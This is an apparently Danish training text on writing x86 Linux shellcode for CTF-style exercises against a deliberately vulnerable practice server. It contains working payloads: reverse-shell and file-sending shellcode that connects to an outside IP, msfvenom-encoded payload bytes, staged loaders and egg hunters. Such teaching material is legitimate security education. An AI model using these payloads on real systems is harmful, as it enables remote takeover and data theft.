[SECTION .text] bits 32 global _start _start: mov eax, 1 ;SYS_exit xor ebx, ebx ;exit code int 0x80 ;syscall
Fra Wikipedia:
"In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode. Because the function of a payload is not limited to merely spawning a shell, some have suggested that the name shellcode is insufficient.[1] However, attempts at replacing the term have not gained wide acceptance. Shellcode is commonly written in machine code."
Metasploit kalder det et "payload", men det dækker også over SQLi, CMDi, JavaScript og alt muligt andet.
I pwntools hedder det "shellcode" og er Shellcrafts domæne.
Hvis både Metasploit og pwntools har velfungerende shellcode, hvorfor så lave det selv?
Vi vil bruge nedenstående som et shellkode skelet:
[SECTION .text] bits 32 global _start _start: mov eax, 1 ;SYS_exit xor ebx, ebx ;exit code int 0x80 ;syscall
Kan bygges til elf:
$ nasm -f elf -o skeleton.o skeleton.asm $ ld -melf_i386 -o skeleton skeleton.o
Eller til "ren" maskinkode:
$ nasm -f bin -o skeleton.shellcode skeleton.asm
Nu er der godt nok problemer med skelettet:
$ ndisasm -b 32 skeleton.shellcode 00000000 B801000000 mov eax,0x1 00000005 31DB xor ebx,ebx 00000007 CD80 int 0x80
…for nul bytes vil man typisk gerne undgå (hvorfor?)
Men det kan fixes:
[SECTION .text] bits 32 global _start _start: xor eax, eax ;Zero out eax inc eax ;eax = 1 = SYS_exit xor ebx, ebx ;exit code int 0x80 ;syscall
$ ndisasm -b 32 skeleton.shellcode 00000000 31C0 xor eax,eax 00000002 40 inc eax 00000003 31DB xor ebx,ebx 00000005 CD80 int 0x80
Og vi sparede endda to bytes!
Der er stort set altid flere måder at opnå det samme.
F.eks. nulstilling af eax:
mov eax, 0 xor eax, eax sub eax, eax xor ebx, ebx mov eax, ebx xor ebx, ebx mul ebx ...sikkert flere
Mange måder men jeg foretrækker denne.
Terminal 1:
$ strace run_shellcode32 1337 ....... accept(3,
Terminal 2:
$ nc localhost 1337 < skeleton.shellcode
Terminal 1 (fortsat):
...... read(4, "1\300@1\333\315\200", 4096) = 7 _exit(0) = ? +++ exited with 0 +++ vagrant@localhost:~$
Her er et par gode instruktioner at kende:
nop ; No OPeration, har opcode 0x90 int3 ; Software breakpoint, har opcode 0xcc
Typisk skal shellcode "bare" udføre en stribe system kald med de rigtige argumenter.
I i386/Linux bruger man int 0x80 instruktionen til at udføre system kald, system kald nummeret ligger i eax og argumenter ligger i ebx, ecx, edx, esi og edi…typisk.
man 2 open giver open system kaldets manual side
Konstanter kan findes med constgrep
open("/some/file", O_RDONLY);
$ constgrep -c i386 SYS_open #define SYS_open 5 #define SYS_openat 295 $ constgrep -c i386 O_RDONLY #define O_RDONLY 0x0
Her er en liste: http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html
Der kan man se, at exit har system kald nr. 1 og at exit code skal i ebx, ligesom vi gjorde i skelettet.
Som sagt skal shellcode være position independent, men bærer den data, skal den vide, hvor de er.
Her er et trick:
[SECTION .text] bits 32 global _start _start: jmp a ;Jump to 'call' b: pop edx ;Make edx point to /bin/bash ;Do stuff xor eax, eax ;Zero eax inc eax ;eax = 1 = SYS_exit xor ebx, ebx ;exit code int 0x80 ;syscall a: call b ;Place address of /bin/bash on stack db "/bin/bash",0
En afsluttende nul byte er ok…men KUN én og KUN den sidste byte! (hvorfor???)
Skal vi have flere nul terminerede strenge bliver vi nødt til at gøre noget.
Enten:
[SECTION .text] bits 32 global _start _start: jmp a ;Jump to 'call' b: pop edx ;Make edx point to string xor eax, eax ;Make eax nul mov [edx+5], al ;Replace first X with a null byte mov [edx+11], al ;Replace second X with a null byte mov [edx+17], al ;Replace third X with a null byte ;Now edx points to first string ;Second string lies six bytes past edx ;Third string lies 12 bytes past edx xor eax, eax ;Zero out eax inc eax ;eax = 1 = SYS_exit xor ebx, ebx ;exit code int 0x80 ;syscall a: call b db "helloXcruelXworldX"
Skal vi have flere nul terminerede strenge bliver vi nødt til at gøre noget.
Eller:
[SECTION .text] bits 32 global _start _start: push 0x64 push 0x6c726f77 push 0x1010101 xor [esp], dword 0x16d6474 push 0x1010101 xor [esp], dword 0x7362016e push 0x6c6c6568 ;Now esp points to first string ;Second string lies six bytes past esp ;Third string lies 12 bytes past esp xor eax, eax ;Zero out eax inc eax ;eax = 1 = SYS_exit xor ebx, ebx ;exit code int 0x80 ;syscall
Første opgave bliver at lave en shellcode, som skriver "Hello, shellcode world!\n" til standard out.
Lad os også prøve det fra et pwntools baseret exploit.
Shellcraft er pwntools samling af shellcode.
Tip
|
For de interesserede ligger al shellcode under pwnlib/shellcraft/templates og er skrevet i Mako templates. |
Shellcraft er pwntools samling af shellcode.
$ shellcraft --list i386.linux i386.linux.acceptloop_ipv4 i386.linux.connect i386.linux.connectstager .... i386.linux.sh i386.linux.stager i386.linux.syscall
Byggeklodser really, plus et par færdigbyggede klar-til-brug.
findpeer er en ret fantastisk byggeklods.
$ shellcraft i386.linux.findpeer -? Args: port (defaults to any port) Finds a socket, which is connected to the specified port. Leaves socket in ESI.
Den gør ca. dette:
struct sockaddr_in addr; socklen_t addrlen = sizeof(struct sockaddr_in); int socket = 0; while (getpeername(socket, &addr, &addrlen) < 0) { socket++; } /* yay, a connected socket has been found */
$ shellcraft -f a i386.linux.findpeer findpeer_1: push -1 push SYS_socketcall_getpeername .....
Opgave tre bliver at udbygge opgave to til at sende "Hello world" tilbage til os over vores eksisterende forbindelse.
Lav opgave tre fuldstændig med shellcraft byggeklodser.
Skær alt unødvendigt væk fra opgave fire.
Eksekverer en shell. I sin rene form kan den kun bruges i lokale exploits.
Gør ca. dette:
execve("/bin/sh", 0, 0);
Omdirrigerer standard in, standard out og standard error til en given file descriptor (socket?) og eksekverer en shell.
dup2(fd, 2); dup2(fd, 1); dup2(fd, 0); execve("/bin/sh", 0, 0);
Giver mest mening efter enten listen, connect eller findpeer.
Tip
|
findpeersh er lig med findpeer + dupsh |
Laver en server socket og accepterer første forbindelse på en given port.
struct sockaddr_in addr; int server, client; server = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(port); //port argument required addr.sin_addr.s_addr = INADDR_ANY; bind(server, &addr, sizeof(struct sockaddr_in)); listen(server, 1); client = accept(server);
Tip
|
Er god sammen med readfile eller dupsh. |
Tip
|
Understøtter både IPv4 og IPv6!!! |
Forbinder til en server på en given port. Specificeres et hostname bliver det resolved lokalt inden shellcoden genereres med hardcoded IP adresse.
struct sockaddr_in addr; int client; client = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(port); //port argument required addr.sin_addr.s_addr = some_address; //address argument required connect(client, &addr, sizeof(struct sockaddr_in));
Tip
|
Er god sammen med readfile eller dupsh. |
Tip
|
Understøtter både IPv4 og IPv6!!! |
Har vi snakket om, men her er den igen:
struct sockaddr_in addr; socklen_t addrlen = sizeof(struct sockaddr_in); int socket = 0; while (getpeername(socket, &addr, &addrlen) < 0) { socket++; }
Tip
|
Er god sammen med readfile eller dupsh. |
Tip
|
Understøtter både IPv4 og IPv6!!! |
Åbner en fil og sender dens indhold til en given file descriptor (f.eks. en socket).
struct stat st; int file = open(path, O_RDONLY); //path argument required fstat(file, &st); sendfile(some_file_descriptor, file, 0, st.st_size);
$ shellcraft i386.linux.connect -? Connects to the host on the specified port. Leaves the connected socket in ebp Arguments: host(str): Remote IP address or hostname (as a dotted quad / string) port(int): Remote port network(str): Network protocol (ipv4 or ipv6) $ shellcraft i386.linux.dupsh -? Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr and spawns a shell. $
connect efterlader en socket i ebp.
dupsh tager en input file descriptor, men dens default værdi er ebp.
SHELLCODE = asm(shellcraft.connect('10.10.10.7', 4444) + \ shellcraft.dupsh())
$ shellcraft i386.linux.connect -? Connects to the host on the specified port. Leaves the connected socket in ebp Arguments: host(str): Remote IP address or hostname (as a dotted quad / string) port(int): Remote port network(str): Network protocol (ipv4 or ipv6) $ shellcraft i386.linux.readfile -? Args: [path, dst (imm/reg) = esi ] Opens the specified file path and sends its content to the specified file descriptor. $
connect efterlader en socket i ebp.
readfile tager en filedescriptor, men dens default værdi er esi.
SHELLCODE = asm(shellcraft.connect('10.10.10.7', 4444) + \ shellcraft.readfile('flag', 'ebp'))
Nogen gange kan man ikke bare bruge en standard shellcode.
Her følger et par eksempler på udfordinger.
De er implementeret i programmet shelly som ligger i assignments.
$ strace ./assignments/shelly --debug --port 1337 .... listen(3, 10) = 0 getpid() = 5290 accept(3,
$ nc localhost 1337 Hello there. How may I help you? Choose from the menu: 1) Execute up to 256 bytes shellcode 2) Trampoline can only execute few bytes 3) Read pointers 4) Write pointers 5) Required constants 6) Avoid certain chars 7) Shellcode needs to be printable 8) Try fitting a 10000 byte shellcode into 64 bytes 9) Go egg hunting 10) Go stack hunting 11) Exit
2) Trampoline can only execute few bytes
Typisk for off-by-a-few bugs.
int trampoline_few_bytes(int socket) { struct { char buffer[256]; int last; } shellcode; dprintf(socket, "I will now read %d bytes from you but I will only execute the last %d bytes!\n", sizeof(shellcode), sizeof(shellcode.last)); if (read(socket, &shellcode, sizeof(shellcode)) <= 0) { return 0; } EXECUTE_SHELLCODE(&shellcode.last); return 1; }
Typisk for off-by-a-few bugs.
Typisk for off-by-a-few bugs.
Short jumps (+127/-128) kan gøres på to bytes, skal man længere fylder det fem bytes.
3) Read pointers
int read_pointers(int socket) { struct { char buffer1[10]; int * debugging; char buffer2[128]; } data; data.debugging = &debug; dprintf(socket, "Write %d bytes which I will execute, but beware...I WILL read that pointer!\n", sizeof(data)); if (read(socket, &data, sizeof(data)) <= 0) { return 0; } if (*data.debugging) { dprintf(socket, "Debugging is turned on.\n"); } EXECUTE_SHELLCODE(&data); return 1; }
I en ikke position independent executable:
$ cat /proc/12708/maps | grep shelly 08048000-0804a000 r-xp 00000000 fc:01 3553329 ... 0804b000-0804c000 r-xp 00002000 fc:01 3553329 ... 0804c000-0804d000 rwxp 00003000 fc:01 3553329 ...
4) Write pointers
int write_pointers(int socket) { struct { char buffer1[10]; int * debugging; char buffer2[128]; } data; data.debugging = &debug; dprintf(socket, "Write %d bytes which I will execute, but beware...I WILL write that pointer!\n", sizeof(data)); if (read(socket, &data, sizeof(data)) <= 0) { return 0; } *data.debugging = 1; dprintf(socket, "We just turned debugging on.\n"); EXECUTE_SHELLCODE(&data); return 1; }
I en ikke position independent executable:
$ cat /proc/12708/maps | grep shelly 08048000-0804a000 r-xp 00000000 fc:01 3553329 ... 0804b000-0804c000 r-xp 00002000 fc:01 3553329 ... 0804c000-0804d000 rwxp 00003000 fc:01 3553329 ...
5) Required constants
int required_constants(int socket) { typedef struct { char name[32]; enum { MALE = 0, FEMALE = 1, OTHER = 2 } gender; } user_t; #define MAX_USERS_PER_CHUNK 8 user_t users[MAX_USERS_PER_CHUNK]; int num_users, i; dprintf(socket, "Now tell me how many user objects I should read.\n"); if (read_int(socket, &num_users)) { if (num_users > 0 && num_users <= MAX_USERS_PER_CHUNK) { dprintf(socket, "Fine, I will now expect %d bytes from you.\n", num_users * sizeof(user_t)); if (read_full(socket, users, num_users * sizeof(user_t))) { /* Now make sure that all genders are sane */ for (i = 0; i < num_users; i++) { if (!(users[i].gender == MALE || users[i].gender == FEMALE || users[i].gender == OTHER)) { dprintf(socket, "User object %d had an unsupported gender: %d\n", i, users[i].gender); return 0; } } EXECUTE_SHELLCODE(users); } } } return 1; }
6) Avoid certain chars
int avoid_chars(int socket) { char buffer[256]; unsigned char bad[] = { 0x00, 0x0a, 0x0d, 0x20, 0x3d, 0x3b }; int i, j; dprintf(socket, "Give up to %d bytes shellcode...I don't accept these: ", sizeof(buffer)); for (i = 0; i < sizeof(bad); i++) { dprintf(socket, i == sizeof(bad) - 1 ? "0x%02x\n" : "0x%02x, ", bad[i]); } for (i = 0; i < sizeof(buffer); i++) { if (read(socket, buffer + i, 1) <= 0) { return 0; } for (j = 0; j < sizeof(bad); j++) { if (buffer[i] == bad[j]) { buffer[i] = 0; EXECUTE_SHELLCODE(buffer); goto done; } } } done: return 1; }
$ shellcraft i386.linux.findpeersh | msfvenom --encoder x86/shikata_ga_nai --bad-chars '\x00\x0a\x0d\x20\x3d\x3b' --arch x86 --platform linux --format py buf = "" buf += "\xba\x33\xb9\x97\x19\xda\xde\xd9\x74\x24\xf4\x58\x29" buf += "\xc9\xb1\x10\x83\xe8\xfc\x31\x50\x10\x03\x50\x10\xd1" buf += "\x4c\xfd\xe6\x7f\xa8\x8b\xfc\x24\xe8\xe1\x98\x82\x52" buf += "\x7b\x28\x16\xbb\xe9\xb5\x36\xf6\x6e\x30\x76\x69\x35" buf += "\x4e\x9b\xe3\x3a\xda\x60\xad\xf5\x71\x59\x15\xcb\x06" buf += "\xd0\x5d\xb9\x6e\x72\xb1\x11\x40\xf1\xa5\x42\xfc\x9c" buf += "\x5b\x14\xe3\x6f\x6d\x4c\xef\xd7\xf4\x5c\x6f"
Det er lidt forskelligt hvor meget Shikata Ga Nai decoderen fylder, men omkring 25-30 bytes. Hver byte i den oprindelige shellcode tilføjer én enkodet byte.
7) Shellcode needs to be printable
int printable_shellcode(int socket) { char buffer[256]; int i; dprintf(socket, "I will allow a %d byte shellcode but I will break on the first non printable character received. On newline I will execute.\n", sizeof(buffer)); for (i = 0; i < sizeof(buffer); i++) { if (read(socket, buffer + i, 1) <= 0) { return 0; } if (buffer[i] == '\n') { EXECUTE_SHELLCODE(buffer); } if (!isgraph(buffer[i])) { return 0; } } return 1; }
$ shellcraft i386.linux.findpeersh | msfvenom --encoder x86/alpha_upper --arch x86 --platform linux BufferRegister=EAX Attempting to read payload from STDIN... Found 1 compatible encoders Attempting to encode payload with 1 iterations of x86/alpha_upper x86/alpha_upper succeeded with size 185 (iteration=0) x86/alpha_upper chosen with final size 185 Payload size: 185 bytes PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZKOSZDGK9ZEQK1N3ZBF1HPFLMPL6DM0RJS4E08MMPMUIP3Q1J45ZMMYKCCZC3V9PICZGOV88MMPRUL8BJE8SXFO6O6OBSE8FOU2RIBNLIJCP1IY2J4KPXJ9XMK0AA
Decoderen fylder 61 bytes, og hver byte i den oprindelige shellcode fylder to bytes enkodet.
Fra WikiPedia:
"When the amount of data that an attacker can inject into the target process is too limited to execute useful shellcode directly, it may be possible to execute it in stages. First, a small piece of shellcode (stage 1) is executed. This code then downloads a larger piece of shellcode (stage 2) into the process’s memory and executes it."
8) Try fitting a 10000 byte shellcode into 64 bytes
int large_in_64(int socket) { char buffer[64]; dprintf(socket, "Try fitting a large shellcode, say 10.000 bytes, into a %d byte buffer.\n", sizeof(buffer)); if (read(socket, buffer, sizeof(buffer)) <= 0) { return 0; } EXECUTE_SHELLCODE(buffer); return 1; }
LARGE_SHELLCODE = asm(shellcraft.nop()) * 10000 +\ asm(shellcraft.findpeersh())
Eller I kan bruge den shellcode, jeg har lagt i assignments/WebServerShellcode (i binær form).
$ shellcraft i386.linux.stager -? Recives a fixed sized payload into a mmaped buffer Useful in conjuncion with findpeer. Args: sock, the socket to read the payload from. size, the size of the payload
9) Go egg hunting
int egg_hunting(int socket) { #define EGG_SHELLCODE_SIZE 256 #define EGG_HUNTER_SIZE 40 char egghunter[EGG_HUNTER_SIZE]; void * shellcode = malloc(EGG_SHELLCODE_SIZE); dprintf(socket, "First get me up to %d bytes for a shellcode.\n", EGG_SHELLCODE_SIZE); if (read(socket, shellcode, EGG_SHELLCODE_SIZE) <= 0) { free(shellcode); return 0; } dprintf(socket, "Now give me an egg hunter...max size %d bytes!\n", EGG_HUNTER_SIZE); if (read(socket, egghunter, EGG_HUNTER_SIZE) <= 0) { free(shellcode); return 0; } shellcode = NULL; EXECUTE_SHELLCODE(egghunter); return 1; }
Tip
|
Læs papers/egghunt-shellcode.pdf |
10) Go stack hunting
int stack_hunting(int socket) { #define STACK_HUNTER_SIZE 10 char buffer[256]; char hunter[rand() & 0xfff + STACK_HUNTER_SIZE]; dprintf(socket, "Put some shellcode on the stack.\n"); if (read(socket, buffer, sizeof(buffer)) <= 0) { return 0; } dprintf(socket, "Now give me a stack hunter...you get %d bytes.\n", STACK_HUNTER_SIZE); if (read(socket, hunter, STACK_HUNTER_SIZE) <= 0) { return 0; } EXECUTE_SHELLCODE(hunter); return 1; }
pwntools stackhunter til i386 er KUNST!!!
$ shellcraft i386.stackhunter | disasm -c i386 0: 3d 58 eb fc 7a cmp eax,0x7afceb58 5: 75 fa jne 0x1 7: ff e4 jmp esp $ echo -en '\x58\xeb\xfc' | disasm -c i386 0: 58 pop eax 1: eb fc jmp 0xffffffff
ProsaCTF 2013 Tree Traverse opgaven (nu til 32 bit).
Læs opgavebeskrivelsen her: http://ctf2013.the-playground.dk/index.php?page=tree-traverse
Dog, istedet for at pointer til roden ligger i rdi registret ligger det nu på esp + 4 i hukommelsen.
Lytter på localhost:9191